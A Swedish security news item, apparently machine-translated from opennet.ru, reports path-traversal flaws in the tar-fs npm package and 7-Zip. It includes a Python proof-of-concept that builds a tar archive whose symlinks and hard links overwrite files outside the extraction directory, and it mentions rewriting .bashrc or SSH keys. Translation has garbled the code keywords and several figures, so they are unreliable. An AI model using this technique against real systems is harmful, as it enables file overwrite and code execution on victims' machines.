SÄrbarheter i tar-fs och 7-Zip som tillÄter skrivning av filer utanför baskatalogen

En sÄrbarhet (CVE-2025-48387) har identifierats i tar-fs NPM-paketet, vilket gör det möjligt att, vid uppackning av ett specialdesignat tar-arkiv, skriva filer till vilken del av FS som helst som inte Àr begrÀnsade till den katalog dÀr uppackningen utförs (sÄ lÄngt den nuvarande anvÀndarens ÄtkomstrÀttigheter tillÄter). SÄrbarheten kan ocksÄ anvÀndas för att skriva över befintliga filer, till exempel för att organisera exekveringen av din kod i systemet kan filerna ".ssh/id_rsa" eller ".bashrc" i anvÀndarens hemkatalog skrivas om.

Problemet bedöms som kritiskt med tanke pÄ att tar-fs-paketet laddas ner 23 miljoner gÄnger per vecka och anvÀnds som ett beroende i 1155 3.0.9 projekt. SÄrbarheten ÄtgÀrdades i versionerna 2.1.3, 1.16.5 och 3, som slÀpptes i maj, men information om sÄrbarheten avslöjades inte förrÀn nÀstan XNUMX mÄnader senare.

SÄrbarheten orsakas av otillrÀckliga kontroller av symboliska och hÄrda lÀnkar i arkivet för att sÀkerstÀlla att de inte strÀcker sig bortom mÄlkatalogen för uppackning. För att kringgÄ kontrollerna anvÀnds tvÄ symboliska lÀnkar: den första pekar pÄ rotkatalogen för att packa upp arkivet ("."), och den andra skapas i förhÄllande till den första symboliska lÀnken och anvÀnder tecknen "../" i namnet för att strÀcka sig bortom baskatalogen. Till exempel pekar den första lÀnken "noop/noop/noop" pÄ ".", och den andra "noop/noop/noop/../../../" expanderas som "./../../../". För att organisera överskrivningen av filer i arkivet kan en hÄrd lÀnk skapas som pekar pÄ en extern fil i förhÄllande till den andra symboliska lÀnken. importera tarfile importera io med tarfile.open("poc.tar", mode="x") som tar: root = tarfile.TarInfo("root") root.lÀnknamn = ("noop/" * 15) + ("../" * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo("noop") noop.lÀnknamn = "." noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo("hardflag") hard.linkname = "root/home/username/flag/flag" hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b"skriv över\n" skriv över = tarfile.TarInfo("hardflag") skriv över.size = len(innehÄll) skriv över.type = tarfile.REGTYPE tar.addfile(skriv över, fileobj=io.BytesIO(innehÄll)) content = b"ny!\n" nyfil = tarfile.TarInfo("root/home/username/flag/nyfil") nyfil.size = len(innehÄll) nyfil.type = tarfile.REGTYPE tar.addfile(nyfil, fileobj=io.BytesIO(innehÄll))

En liknande sÄrbarhet (CVE-2025-55188) hittades i 7-Zip-arkivet. För att skriva filer utanför baskatalogen kan 7-Zip ocksÄ anvÀnda symboliska lÀnkar med sekvensen "../" i filsökvÀgen. Problemet kan utnyttjas vid uppackning av arkiv med 7-Zip som stöder symboliska lÀnkar, sÄsom zip, tar, 7z och rar. Problemet Àr ÄtgÀrdat i 7-Zip version 25.01.

KĂ€lla: opennet.ru

Köp pĂ„litlig hosting för webbplatser med DDoS-skydd, VPS VDS-servrar đŸ”„ Köp pĂ„litlig webbhotell med DDoS-skydd, VPS VDS-servrar | ProHoster